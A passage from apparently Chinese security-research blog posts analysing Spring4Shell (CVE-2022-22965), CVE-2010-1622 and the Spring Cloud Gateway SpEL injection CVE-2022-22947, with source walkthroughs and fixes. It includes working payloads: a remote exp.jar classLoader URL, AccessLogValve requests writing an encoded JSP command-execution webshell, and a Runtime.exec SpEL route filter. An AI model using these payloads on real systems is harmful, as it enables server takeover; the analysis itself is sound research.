的值。这一切都是自动调用bean属性注入完成的，具体对应的过程实际上就是SpringBean的属性填充的过程。可以跟一下看看，然后当我们启动项目的时候，在populateBean中下断点就可以看到indexController作为bean被初始化装载进了spring容器中完成初始化装载后，当向这个bean设置值的时候，会进入前文中提到的setPropertyValues方法，并最终在BeanPropertyHandler方法中，通过setValue()调用对象的 setter 方法进行属性设置：按理说Person类中只有name这一个属性，但实际并非如此。还记得我们前文中提到的：Java Object 类是所有类的父类，也就是说 Java 的所有类都继承了 Object，子类可以使用 Object 的所有方法，这里的class属性就是从Object继承的getClass()方法带来的。没错，除了name属性外，还有一个名为class的属性，我们可以获取如下：既然有了一个名为class的属性，并且其有一个getClass()的方法，那么可以做什么呢？是的，这便意味着所有的对象都可以通过使用：http://localohst:8080/index?class=xxxx的方式来获取class对象需要注意的是，class的类型并非基础类型，当我们提交了一个基础类型数据的时候，在SpringBean的属性填充过程中的类型转换判断中，就进行了筛除，因此赋值的对象要符合其类型定义才可以，但问题来了，我们提交的值实际上就是一个字符串，没法直接定义一个对象传进去。应该怎么办？我们知道，Object的getClass方法，返回的是一个class对象： public final native Class<?> getClass();并且所有的类都有class属性，都是class的对象。还记得前面说过的：获取到一个类对象后，就可以调用这个类中的一些方法，当获取到Class对象后，变相的获取了所有Class类的对象，通过调用这个Class类下实例对象的方法，就相当于调用了实例对象的方法。那么在这些对象中存在可用的setXxxxx的方法，就可以通过调用class对象的方式，去调用setXxxxx的方法。现在就来找一下class中有没有这种属性： @Test public void test() throws IntrospectionException { BeanInfo info = Introspector.getBeanInfo(Class.class); for (PropertyDescriptor pd : info.getPropertyDescriptors()) { System.out.println(pd.getName()); System.out.println(" [*]" + pd.getReadMethod()); System.out.println(" [*]" + pd.getWriteMethod()); } }可以看到很多：annotatedInterfaces [*]public java.lang.reflect.AnnotatedType[] java.lang.Class.getAnnotatedInterfaces() [*]null annotatedSuperclass [*]public java.lang.reflect.AnnotatedType java.lang.Class.getAnnotatedSuperclass() [*]null annotation [*]public boolean java.lang.Class.isAnnotation() [*]null annotations [*]public java.lang.annotation.Annotation[] java.lang.Class.getAnnotations() [*]null anonymousClass [*]public boolean java.lang.Class.isAnonymousClass() [*]null array [*]public native boolean java.lang.Class.isArray() [*]null canonicalName [*]public java.lang.String java.lang.Class.getCanonicalName() [*]null class [*]public final native java.lang.Class java.lang.Object.getClass() [*]null classLoader [*]public java.lang.ClassLoader java.lang.Class.getClassLoader() [*]null classes [*]public java.lang.Class[] java.lang.Class.getClasses() [*]null componentType [*]public native java.lang.Class java.lang.Class.getComponentType() [*]null constructors [*]public java.lang.reflect.Constructor[] java.lang.Class.getConstructors() throws java.lang.SecurityException [*]null declaredAnnotations [*]public java.lang.annotation.Annotation[] java.lang.Class.getDeclaredAnnotations() [*]null declaredClasses [*]public java.lang.Class[] java.lang.Class.getDeclaredClasses() throws java.lang.SecurityException [*]null declaredConstructors [*]public java.lang.reflect.Constructor[] java.lang.Class.getDeclaredConstructors() throws java.lang.SecurityException [*]null declaredFields [*]public java.lang.reflect.Field[] java.lang.Class.getDeclaredFields() throws java.lang.SecurityException [*]null declaredMethods [*]public java.lang.reflect.Method[] java.lang.Class.getDeclaredMethods() throws java.lang.SecurityException [*]null declaringClass [*]public java.lang.Class java.lang.Class.getDeclaringClass() throws java.lang.SecurityException [*]null enclosingClass [*]public java.lang.Class java.lang.Class.getEnclosingClass() throws java.lang.SecurityException [*]null enclosingConstructor [*]public java.lang.reflect.Constructor java.lang.Class.getEnclosingConstructor() throws java.lang.SecurityException [*]null enclosingMethod [*]public java.lang.reflect.Method java.lang.Class.getEnclosingMethod() throws java.lang.SecurityException [*]null enum [*]public boolean java.lang.Class.isEnum() [*]null enumConstants [*]public java.lang.Object[] java.lang.Class.getEnumConstants() [*]null fields [*]public java.lang.reflect.Field[] java.lang.Class.getFields() throws java.lang.SecurityException [*]null genericInterfaces [*]public java.lang.reflect.Type[] java.lang.Class.getGenericInterfaces() [*]null genericSuperclass [*]public java.lang.reflect.Type java.lang.Class.getGenericSuperclass() [*]null interface [*]public native boolean java.lang.Class.isInterface() [*]null interfaces [*]public java.lang.Class[] java.lang.Class.getInterfaces() [*]null localClass [*]public boolean java.lang.Class.isLocalClass() [*]null memberClass [*]public boolean java.lang.Class.isMemberClass() [*]null methods [*]public java.lang.reflect.Method[] java.lang.Class.getMethods() throws java.lang.SecurityException [*]null modifiers [*]public native int java.lang.Class.getModifiers() [*]null name [*]public java.lang.String java.lang.Class.getName() [*]null package [*]public java.lang.Package java.lang.Class.getPackage() [*]null primitive [*]public native boolean java.lang.Class.isPrimitive() [*]null protectionDomain [*]public java.security.ProtectionDomain java.lang.Class.getProtectionDomain() [*]null signers [*]public native java.lang.Object[] java.lang.Class.getSigners() [*]null simpleName [*]public java.lang.String java.lang.Class.getSimpleName() [*]null superclass [*]public native java.lang.Class java.lang.Class.getSuperclass() [*]null synthetic [*]public boolean java.lang.Class.isSynthetic() [*]null typeName [*]public java.lang.String java.lang.Class.getTypeName() [*]null typeParameters [*]public java.lang.reflect.TypeVariable[] java.lang.Class.getTypeParameters() [*]null很多并不意味着都可以用，可以发现这些方法里并没有setXxxx方法。那怎么办？答案是内省。实际上在我们传值的时候，会进入 CachedIntrospectionResults 方法：在该方法中就可以看到JDK内省类库Introspector类中的经典调用方法：Introspector.getBeanInfo，然后就获取到了没有set的属性，在获取了对应的属性后，通过了一系列的调用，进入了newValue()方法在该方法中通过Array.set进行了赋值。因此，即使没有setXxxx的方法，我们也可以通过Java的内省进行赋值。现在返回头继续看看那个列表，实际上目前看来 ，可以被有效利用的只有：classLoader [*]public java.lang.ClassLoader java.lang.Class.getClassLoader() [*]nullclassLoader是一个可以影响所有class加载的重要东西，可以帮助我们改变class加载的一些对象的值，并且不同程序运行环境的classLoader是不一样的，因为Web容器的不同，实现的方式就不一样。现在我们知道classLoader可以拿来被利用，那么怎么去利用呢？前面的class=xxxx的方式是直接赋值的方式，如何通过class调用classLoader，再通过classLoader去调用其他属性呢？这里要说明的一点是，SpringBean解析流程和直接requestparam解析流程是不同的，对于后者不是本文的重点，故不在作更多的解释，有兴趣的可以去搜索SpringMVC参数绑定的相关资料。对于前者，Spring在PropertyAccessor接口中定义了分割符：public interface PropertyAccessor { /** * Path separator for nested properties. * Follows normal Java conventions: getFoo().getBar() would be "foo.bar". */ String NESTED_PROPERTY_SEPARATOR = "."; /** * Path separator for nested properties. * Follows normal Java conventions: getFoo().getBar() would be "foo.bar". */ char NESTED_PROPERTY_SEPARATOR_CHAR = '.'; /** * Marker that indicates the start of a property key for an * indexed or mapped property like "person.addresses[0]". */ String PROPERTY_KEY_PREFIX = "["; /** * Marker that indicates the start of a property key for an * indexed or mapped property like "person.addresses[0]". */ char PROPERTY_KEY_PREFIX_CHAR = '['; /** * Marker that indicates the end of a property key for an * indexed or mapped property like "person.addresses[0]". */ String PROPERTY_KEY_SUFFIX = "]"; /** * Marker that indicates the end of a property key for an * indexed or mapped property like "person.addresses[0]". */ char PROPERTY_KEY_SUFFIX_CHAR = ']';可以看到，在这个接口里定义了嵌套属性的路径分隔符.，并且遵循正常的Java约定，加入Java方法里的调用方式为：getFoo().getBar() ，那么在这里就是 foo.bar此外，在该接口里还定义了一个名为PROPERTY_KEY_PREFIX的变量，用于指示属性的开始，这里的属性指的是索引或映射的属性，例如：person.addresses[0]也就是说，在SpringBean解析流程里是用.作分割符号并对传入的属性进行分割识别的，识别的逻辑如下：protected AbstractNestablePropertyAccessor getPropertyAccessorForPropertyPath(String propertyPath) { // 获取嵌套属性的第一个属性 // 比如对于属性: foo.bar[0].name // 首先获取到 foo 的索引位置 // getFirstNestedPropertySeparatorIndex是详细的方法 int pos = PropertyAccessorUtils.getFirstNestedPropertySeparatorIndex(propertyPath); // Handle nested properties recursively. //递归处理嵌套属性 if (pos > -1) { // 获取所在的属性， 和 要 获取的属性对应的 name String nestedProperty = propertyPath.substring(0, pos); String nestedPath = propertyPath.substring(pos + 1); AbstractNestablePropertyAccessor nestedPa = getNestedPropertyAccessor(nestedProperty); //递归调用 return nestedPa.getPropertyAccessorForPropertyPath(nestedPath); } else { return this; } }来看看getFirstNestedPropertySeparatorIndex方法：private static int getNestedPropertySeparatorIndex(String propertyPath, boolean last) { boolean inKey = false; // 获取对应的属性的长度 int length = propertyPath.length(); int i = (last ? length - 1 : 0); while (last ? i >= 0 : i < length) { // 对所有的字符遍历进行解析，这里增加一个inKey 的flag，要 // 对[ 和 ] 符号做成对的判断 switch (propertyPath.charAt(i)) { case PropertyAccessor.PROPERTY_KEY_PREFIX_CHAR: case PropertyAccessor.PROPERTY_KEY_SUFFIX_CHAR: inKey = !inKey; break; case PropertyAccessor.NESTED_PROPERTY_SEPARATOR_CHAR: // 如果出现'.' ,说明存在嵌套属性，并且 inKey =false ,说明在这之前[ ] 是成对匹配的 // 返回对应的 index 位置 if (!inKey) { return i; } } if (last) { i--; } else { i++; } } return -1; }在该方法中首先会获取属性的长度，然后对所有的字符遍历解析，并且对指示属性键的开始符号[进行成对判断，如果在路径中出现了.，那么认为存在嵌套属性，然后返回getPropertyAccessorForPropertyPath到方法，去递归处理嵌套属性。到这里相信大家就明白是怎么一回事了，所以如果我们想通过class去调用classLoader的属性，只需要通过class.classLoader的方式即可。并且前面我们也提到了可以通过Java的内省来赋值，所以我们只需要找到classLoader中一个可以利用的属性，就可以达到我们想要的目的——RCE。对于CVE-2010-1622，利用的方式是http://localhost:8080/index?class.classLoader.URLs[0]=jar:http://xxxx.com/exp.jar!/setPropertyValue将jar:http://xxxx.com/exp.jar!/参数传到URLs[]中，然后经过jsp页面渲染时，通过一些列类的调用，最终对exp.jar进行了加载，触发了RCE。CVE-2010-1622漏洞过后，Spring官方和Tomcat的官方都对漏洞进行了修复。Tomcat的做法是，在 6.0.28 版本后把getURLs方法返回的值改成了clone的，这使的我们获得的clone的值无法修改classloader中的URLs[]Spring官方的做法则是在CachedIntrospectionResults中获取beanInfo后对其进行了判断，将classloader添加进了黑名单：CVE-2022-22965这漏洞对这个判断进行了绕过，自从JDK 9+开始，JDK引入了模块（Module）的概念，就可以通过module来调用JDK模块下的方法，而module并不在黑名单中，所以能够绕过黑名单。如：class.module.classLoader.xxxx但是Tomcat已经把URL[]的方式给干掉了，应该如何利用呢？目前主流的应用方式是通过Tomcat Access Log来写shell。在 conf 目录下的 server.xml 文件里可以通过AccessLogValve对Access Log进行配置，如：<Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs" prefix="access." suffix=".log" pattern="%h %l %u %t "%r" %s %b "%{Referer}i" "%{User-Agent}i" %{X-Forwarded-For}i "%Dms"" resolveHosts="false"/>然后便会在指定目录下生成access.log的文件前文提到了，在Spring中的万物都是SpringBean，那么通过xml文件加载的配置属性，实际上也是可以被配置修改的，但是具体的是哪个属性觉得的，需要去寻找遍历出来： @RequestMapping("/testclass") public void classTest(){ HashSet<Object> set = new HashSet<Object>(); String poc = "class.moduls.classLoader"; User action = new User(); processClass(action.getClass().getClassLoader(),set,poc); } public void processClass(Object instance, java.util.HashSet set, String poc){ try { Class<?> c = instance.getClass(); set.add(instance); Method[] allMethods = c.getMethods(); for (Method m : allMethods) { if (!m.getName().startsWith("set")) { continue; } if (!m.toGenericString().startsWith("public")) { continue; } Class<?>[] pType = m.getParameterTypes(); if(pType.length!=1) continue; if(pType[0].getName().equals("java.lang.String")|| pType[0].getName().equals("boolean")|| pType[0].getName().equals("int")){ String fieldName = m.getName().substring(3,4).toLowerCase()+m.getName().substring(4); System.out.println(poc+"."+fieldName); // System.out.println(m.getName()); } } for (Method m : allMethods) { if (!m.getName().startsWith("get")) { continue; } if (!m.toGenericString().startsWith("public")) { continue; } Class<?>[] pType = m.getParameterTypes(); if(pType.length!=0) continue; if(m.getReturnType() == Void.TYPE) continue; m.setAccessible(true); Object o = m.invoke(instance); if(o!=null) { if(set.contains(o)) continue; processClass(o, set, poc+"."+m.getName().substring(3,4).toLowerCase()+m.getName().substring(4)); } } } catch (IllegalAccessException | InvocationTargetException x) { x.printStackTrace(); } }可以发现以下属性：class.classLoader.resources.context.parent.pipeline.first.directory = class.classLoader.resources.context.parent.pipeline.first.prefix = class.classLoader.resources.context.parent.pipeline.first.suffix = class.classLoader.resources.context.parent.pipeline.first.fileDateFormat =组合使用即可在指定文件位置，创建一个指定后缀名的文件具体怎么发现的就不提了，因为 Struts2 S2-020 漏洞中就有这样的利用方式，可以参考：https://cloud.tencent.com/developer/article/1035297不过与上文不同的是，我觉得EL表达式的方法更好用，依次提交以下请求：class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp class.module.classLoader.resources.context.parent.pipeline.first.pattern=%24%7b%70%61%67%65%43%6f%6e%74%65%78%74%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%22%69%6e%70%75%74%53%74%72%65%61%6d%22%2c%20%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%70%61%72%61%6d%2e%63%6d%64%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%3b%54%68%72%65%61%64%2e%73%6c%65%65%70%28%31%30%30%30%29%3b%70%61%67%65%43%6f%6e%74%65%78%74%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%22%69%6e%70%75%74%53%74%72%65%61%6d%41%76%61%69%6c%61%62%6c%65%22%2c%20%70%61%67%65%43%6f%6e%74%65%78%74%2e%67%65%74%41%74%74%72%69%62%75%74%65%28%22%69%6e%70%75%74%53%74%72%65%61%6d%22%29%2e%61%76%61%69%6c%61%62%6c%65%28%29%29%3b%70%61%67%65%43%6f%6e%74%65%78%74%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%22%62%79%74%65%42%75%66%66%65%72%43%6c%61%73%73%22%2c%20%43%6c%61%73%73%2e%66%6f%72%4e%61%6d%65%28%22%6a%61%76%61%2e%6e%69%6f%2e%42%79%74%65%42%75%66%66%65%72%22%29%29%3b%70%61%67%65%43%6f%6e%74%65%78%74%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%22%61%6c%6c%6f%63%61%74%65%4d%65%74%68%6f%64%22%2c%20%70%61%67%65%43%6f%6e%74%65%78%74%2e%67%65%74%41%74%74%72%69%62%75%74%65%28%22%62%79%74%65%42%75%66%66%65%72%43%6c%61%73%73%22%29%2e%67%65%74%4d%65%74%68%6f%64%28%22%61%6c%6c%6f%63%61%74%65%22%2c%20%49%6e%74%65%67%65%72%2e%54%59%50%45%29%29%3b%70%61%67%65%43%6f%6e%74%65%78%74%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%22%68%65%61%70%42%79%74%65%42%75%66%66%65%72%22%2c%20%70%61%67%65%43%6f%6e%74%65%78%74%2e%67%65%74%41%74%74%72%69%62%75%74%65%28%22%61%6c%6c%6f%63%61%74%65%4d%65%74%68%6f%64%22%29%2e%69%6e%76%6f%6b%65%28%6e%75%6c%6c%2c%20%70%61%67%65%43%6f%6e%74%65%78%74%2e%67%65%74%41%74%74%72%69%62%75%74%65%28%22%69%6e%70%75%74%53%74%72%65%61%6d%41%76%61%69%6c%61%62%6c%65%22%29%29%29%3b%70%61%67%65%43%6f%6e%74%65%78%74%2e%67%65%74%41%74%74%72%69%62%75%74%65%28%22%69%6e%70%75%74%53%74%72%65%61%6d%22%29%2e%72%65%61%64%28%70%61%67%65%43%6f%6e%74%65%78%74%2e%67%65%74%41%74%74%72%69%62%75%74%65%28%22%68%65%61%70%42%79%74%65%42%75%66%66%65%72%22%29%2e%61%72%72%61%79%28%29%2c%20%30%2c%20%70%61%67%65%43%6f%6e%74%65%78%74%2e%67%65%74%41%74%74%72%69%62%75%74%65%28%22%69%6e%70%75%74%53%74%72%65%61%6d%41%76%61%69%6c%61%62%6c%65%22%29%29%3b%70%61%67%65%43%6f%6e%74%65%78%74%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%22%62%79%74%65%41%72%72%54%79%70%65%22%2c%20%70%61%67%65%43%6f%6e%74%65%78%74%2e%67%65%74%41%74%74%72%69%62%75%74%65%28%22%68%65%61%70%42%79%74%65%42%75%66%66%65%72%22%29%2e%61%72%72%61%79%28%29%2e%67%65%74%43%6c%61%73%73%28%29%29%3b%70%61%67%65%43%6f%6e%74%65%78%74%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%22%73%74%72%69%6e%67%43%6c%61%73%73%22%2c%20%43%6c%61%73%73%2e%66%6f%72%4e%61%6d%65%28%22%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%22%29%29%3b%70%61%67%65%43%6f%6e%74%65%78%74%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%22%73%74%72%69%6e%67%43%6f%6e%73%74%72%75%63%74%6f%72%22%2c%20%70%61%67%65%43%6f%6e%74%65%78%74%2e%67%65%74%41%74%74%72%69%62%75%74%65%28%22%73%74%72%69%6e%67%43%6c%61%73%73%22%29%2e%67%65%74%43%6f%6e%73%74%72%75%63%74%6f%72%28%70%61%67%65%43%6f%6e%74%65%78%74%2e%67%65%74%41%74%74%72%69%62%75%74%65%28%22%62%79%74%65%41%72%72%54%79%70%65%22%29%29%29%3b%70%61%67%65%43%6f%6e%74%65%78%74%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%22%73%74%72%69%6e%67%52%65%73%22%2c%20%70%61%67%65%43%6f%6e%74%65%78%74%2e%67%65%74%41%74%74%72%69%62%75%74%65%28%22%73%74%72%69%6e%67%43%6f%6e%73%74%72%75%63%74%6f%72%22%29%2e%6e%65%77%49%6e%73%74%61%6e%63%65%28%70%61%67%65%43%6f%6e%74%65%78%74%2e%67%65%74%41%74%74%72%69%62%75%74%65%28%22%68%65%61%70%42%79%74%65%42%75%66%66%65%72%22%29%2e%61%72%72%61%79%28%29%29%29%3b%70%61%67%65%43%6f%6e%74%65%78%74%2e%67%65%74%41%74%74%72%69%62%75%74%65%28%22%73%74%72%69%6e%67%52%65%73%22%29%7d class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=1然后任意URL发起请求会在就根目录生成 webapps/ROOT/shell1.jsp实际上我觉得应该还有其他的方式可以利用，应该是EL表达式，具体对应属性，可能还需要研究一下。漏洞的解决办法官方已经提供的很详细了，可以参考：https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement漏洞的无害探测，实际上有一些师傅说了一些看法，如设置cookies的path class.module.classLoader.resources.context.sessionCookiePath=/AAA ，然后观察站点的path的即可，但这种方法对站点还是有一定的影响的，即使改成了class.module.classLoader.resources.context.sessionCookiePath=/，但也不一定是原来的设定值了；还如设置class.module.classLoader.DefaultAssertionStatus=x，x为 0、1 时正常，其他值的时候，返回400，说明就有漏洞，这个方式比较好，但如果设置了统一的报错信息，那也没有用。所以更好的探测方式师傅们可以继续研究一波0x04 漏洞修复和 CVE-2010-1622 漏洞一样，Spring官方和Tomcat都对这个漏洞进行了修复。Tomcat是对获取resources的方法给改成了null，使我们没办法通过resources的方法来修改Access Log配置信息：Spring官方则是完全限制死了，首先是对传入的属性进行了判断，第一是只允许为name并以Name结尾的属性，第二是属性返回的类型不是Classloader及Classloader子类：如果能绕过，我想只有类似于Java沙箱逃逸那种方式，利用类型混淆漏洞来绕过了，不过要找到为name并以Name结尾的属性，且可以利用的，能够利用其进行强制类型转换的，有点难。0x05 写在最后最后首先来回答一下最开始的三个问题如何去解决。第一，基础不牢的问题。基础这个概念很广泛，广泛到什么都可以是基础，什么都可以不是基础，对于不是计算机专业的人来说，计算机的知识不是基础，是知识高度，但对于计算机专业的人来说，它是基础，同样的，对于不同的人来说，基础也是不同的。你也不知道你应该要学习哪些基础，并非是学习了数据结构、计算机网络或者操作系统这些基础科目就能帮你了解其他的所有事情的基础知识，这不现实，也不可能（当然这并不意味着数据结构、计算机网络或者操作系统这些基础科目不重要，只可能是因为你从事的工作内容并不需要这些东西）。那么应该如何去打牢基础呢？我的答案是看你在做什么，如果你在做的事情是普通的代码审计，那么你的基础就是各个漏洞的基础原理、代码审计常用的审计方法和流程以及各种漏洞组合利用的tips点；如果你在做的事情是对一个框架的安全性进行分析，那么你的基础就是了解这个框架的特色机制以及特色机制实现的原理、了解这个框架特色机制可能造成的BUG或者意料之外的操作（可以翻阅issue、release说明等文档）、了解这个框架的数据流是如何运作的以及了解这个框架的基础用法；如果你在做的事情是对框架底层的实现进行安全分析，那么你的基础可能是前面的基础之和了。越难做的事情，其要求的基础也就越高。第二，积累不够的问题。积累的方式和手段有很多，小到做个备忘录记个tips，大到写本书做个自我总结，都是积累的方式，对于我来说可能就是分析并记录当前爆出的一些漏洞，这也是为什么已经有很多人发了 Spring Framework RCE漏洞的分析文章我还要写下此文的原因。别人写的东西只有自己吸收了，才是自己的，而你自己写的东西，很多时候你能够体会到文章里没有描述出的内容，这些内容可能给你带来新的灵感，并且目前我也在践行这个方法。比如我在分析SpringCloud Gateway漏洞的时候，就根据同原理发现了SpringCLoud Function 的 CVE-2022-22963 漏洞（虽然被别人撞了），这些是很多没有去记录的人容易忽视的东西。好记性不如烂笔头。第三，知识的广度的问题。知识的广度这个概念是个泛概念，因为你也不知道你所了解的东西或者知识面在整个安全的海洋中占据了多少面积，所以这个时候需要外力的帮助，一是有经验的人告诉你应该去掌握或者了解哪些东西，而是看看别人掌握了哪些东西或者正在了解学习哪些东西。交流，是快速提升自我和找到不足的途径。其实没有一蹴而就的事情，很多时候都需要时间去帮你解决，这三个问题也同样如此，都需要时间慢慢的帮你变得强大，当然更多的是靠你自己主动去学习，生命不息，学习不止。写下本文的目的一是做个漏洞分析总结，二是分享一些自己关于这个漏洞思考的其他感悟，如有不足，愿与君共勉。最后感谢一些梅子师傅和彪哥的指点。0x06 参考https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcementhttps://segmentfault.com/a/1190000014833730https://www.liaoxuefeng.com/wiki/1252599548343744/1260474416351680https://juejin.cn/post/6900011887568617485https://www.jianshu.com/p/6eba6f6a293dhttps://www.redoc.top/article/178/Spring%20IOC%20%E5%AE%B9%E5%99%A8%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90%20-%20%E5%A1%AB%E5%85%85%E5%B1%9E%E6%80%A7%E5%88%B0%20bean%20%E5%8E%9F%E5%A7%8B%E5%AF%B9%E8%B1%A1https://www.cnblogs.com/peida/archive/2013/06/03/3090842.htmlhttp://rui0.cn/archives/1158===========================================更新（2022.04.22）有师傅给我发邮件提出了文章中的一个问题我在前文中提到，利用属性赋值的时候，实际上是通过Array.set进行了赋值但这位师傅提出：这应该是对特定类型的一种补充，但是在利用的时候，我们选择的是class.module.classLoader.resources.context.parent.pipeline.first其对应的类为org.apache.catalina.valves.AccessLogValve，里面大多数属性是String类型，并且是包含set方法的。所以这里的确是通过内省的方法，递归找到了最后的属性，(即使前面的属性没有set方法也没有关系）但是最后赋值的这一步，还是通过反射调用set方法来实现的。我思考了这个问题，认为这位师傅是正确的，在这里补充一下，免得误解大家，为我的不仔细道歉
从SSRF 到 RCE —— 对 Spring Cloud Gateway RCE漏洞的分析
0x01 写在前面本周二（3.1）的时候Spring官方发布了 Spring Cloud Gateway CVE 报告其中编号为 CVE-2022-22947 Spring Cloud Gateway 代码注入漏洞的严重性为危急，周三周四的时候就有不少圈内的朋友发了分析和复现过程，由于在工作和写论文，就一直没去跟踪看看，周末抽了点时间对这个漏洞进行复现分析了一下。还是挺有意思的。0x02 从SSRF说起看到这个漏洞利用流程的时候，就有一种熟悉的既视感，回去翻了翻陈师傅的星球，果然：去年12月的时候，陈师傅提了一个 actuator gateway 的 SSRF漏洞，这个漏洞来自 wya作者在文章中提到，通过Spring Cloud Gateway 执行器（actuator）提供的管理功能就可以对路由进行添加、删除等操作。因此作者利用 actuator 提供的路由添加功能，并根据官方示例，如下图：添加了一个路由：POST /actuator/gateway/routes/new_route HTTP/1.1 Host: 127.0.0.1:9000 Connection: close Content-Type: application/json { "predicates": [ { "name": "Path", "args": { "_genkey_0": "/new_route/**" } } ], "filters": [ { "name": "RewritePath", "args": { "_genkey_0": "/new_route(?<path>.*)", "_genkey_1": "/${path}" } } ], "uri": "https://wya.pl", "order": 0 }在执行 refresh 操作后，作者成功执行了一个SSRF请求（向https://wya.pl/index.php发起的请求）：陈师傅最后还在星球里给了个演示的实例：https://github.com/API-Security/APISandbox/blob/main/OASystem/README.md先不具体讨论为什么payload会这样写，如果你熟悉 CVE-2022-22947 的payload，那么看到这里你一定会有同样的熟悉感。是的，CVE-2022-22947 这个漏洞实际上就是这个 SSRF 的进阶版，并且触发SSRF的原理并不复杂首先利用/actuator/gateway/routes/{new route}的方式指定一个URL地址，并针对该地址添加一个路由POST /actuator/gateway/routes/new_route HTTP/1.1 Host: 127.0.0.1:8080 Connection: close Content-Type: application/json { "predicates": [ { "name": "Path", "args": { "_genkey_0": "/new_route/**" } } ], "filters": [ { "name": "RewritePath", "args": { "_genkey_0": "/new_route(?<path>.*)", "_genkey_1": "/${path}" } } ], "uri": "https://www.cnpanda.net", "order": 0 } 然后刷新令这个路由生效：POST /actuator/gateway/refresh HTTP/1.1 Host: 127.0.0.1:8080 Connection: close Content-Type: application/json { "predicate": "Paths: [/new_route], match trailing slash: true", "route_id": "new_route", "filters": [ "[[RewritePath /new_route(?<path>.*) = /${path}], order = 1]" ], "uri": "https://www.cnpanda.net", "order": 0 }最后直接访问/new_route/index.php即可触发SSRF漏洞。到这里有两个问题：第一，payload为什么会这样写？第二，整个请求流程是什么样的？首先来看第一个问题，payload为什么会这样写上文中我们提到了Spring Cloud Gateway官方给的实例如下：{ "id": "first_route", "predicates": [{ "name": "Path", "args": {"_genkey_0":"/first"} }], "filters": [], "uri": "https://www.uri-destination.org", "order": 0 } 这实例对比一下SSRF的payload，我们可以发现，在SSRF的payload中多了对过滤器（filters）的具体定义。而纵观整个payload，实际上可以发现，其就是一个动态路由的配置过程。在Spring Cloud Gateway中，路由的配置分为静态配置和动态配置，对于静态配置而言，一旦要添加、修改或者删除内存中的路由配置和规则，就必须重启才可以。但在现实生产环境中，使用 Spring Cloud Gateway 都是作为所有流量的入口，为了保证系统的高可用性，需要尽量避免系统的重启，因而一般情况下，Spring Cloud Gateway使用的都是动态路由。Spring Cloud Gateway 配置动态路由的方式有两种，第一种就是比较常见的，通过重写代码，实现一套动态路由方法，如这里就有一个动态路由的配置过程。第二种就是上文中SSRF这种方式，但是这种方式是基于jvm内存实现，一旦服务重启，新增的路由配置信息就是完全消失了。这也是P师傅在v2ex上回答的原理所以其实payload就是比较固定的格式，首先定义一个谓词（predicates），用来匹配来自用户的请求，然后再增加一个内置或自定义的过滤器（filters），用于执行额外的功能逻辑。payload中我们用的是重写路径过滤器（RewritePath），类似的还有设置路径过滤器（SetPath）、去掉URL前缀过滤器（StripPrefix）等，具体可以参考gateway内置的filter这张图：以及gateway内置的Global Filter图：第一个问题搞懂了就可以看看第二个问题了：整个请求流程是什么样的？还是如上例所演示的，当在浏览器中向127.0.0.1:8080地址发起根路径为/new_route的请求时，会被 Spring Cloud Gateway 转发请求到https://www.cnpanda.net/的根路径下比如，我们向127.0.0.1:8080地址发起为/new_route/index.php的请求，那么实际上会被 Spring Cloud Gateway 转发请求到https://www.cnpanda.net/index.php的路径下，官方在其官方文档（Spring Cloud GateWay工作流程）简单说明了流程：看起来比较简单，实际上要复杂的多，我做了一个更详细一点图帮助大家理解：我们首先向浏览器发送http://127.0.0.1:8080/new_route/index.php 的请求，浏览器接收该请求后交给Spring Cloud Gateway，由Spring Cloud Gateway 进行内部处理，首先是在 Gateway Handler Mapping 模块中找到与/new_route/index.php请求相匹配的路由，然后将其发送到Gateway Web Handler模块，在这个模块中首先进入globalFilters中，由 globalFilters(NettyWriteResponseFilter、ForwardPathFilter、RouteToRequestUrlFilter、LoadBalancerClientFilter、AdaptCachedBodyGlobalFilter、WebsocketRoutingFilter、NettyRoutingFilter、ForwardRoutingFilter) 作为构造器参数创建 FilteringWebHandler。如下图，可以在 NettyRoutingFilter 中看到我们请求的中间态：然后，再由 FilteringWebHandler 运行特定的请求过滤器链，所有 Pre 过滤器(前过滤器)逻辑先执行，然后再向Proxied Service 执行代理请求，代理请求完成后，再由 Proxied Service 返回到 Gateway Web Handler模块去执行 post 过滤器(后过滤器)逻辑，最后由NettyWriteResponseFilter 返回响应内容到我们。响应过程可以参考网关 Spring-Cloud-Gateway 源码解析 —— 过滤器 (4.7) 之 NettyRoutingFilter：最终一次完整SSRF响应请求就形成了。实际上这种的 SSRF 属于Spring Cloud Gateway 本身的功能带来的”副产品“，类似于PHPMyadmin后台的SQL注入漏洞。0x03 CVE-2022-22947 分析如果你认真的看完了上一节的内容，那么你现在可能会对这个漏洞有了更多的认识。漏洞的触发点在于我们熟知的SpEL表达式实际上现在不具体分析源码，根据已有payload或者官方修复diff，你也应该能够得到一个结论：在动态添加路由的过程中，某个filter可以对传入进来的值进行SpEL表达式解析，从而造成了远程代码执行漏洞那么到底是不是如此呢？根据这种思路，通过source和sink，然后向上向下连线的方式来验证先来看看source，即创建路由时的payload：{ "id": "hacktest", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}" } }], "uri": "http://example.com" }可以看到这里使用的filter是AddResponseHeader，由于我们已经猜测是SPEL表达，因此我们直接搜索SpEL的触发点StandardEvaluationContext：可以发现，在 ShortcutConfigurable 接口的getValue方法中，使用了StandardEvaluationContext，并且对传入的 SpEL 表达式进行了解析那么接着查找 ShortcutConfigurable 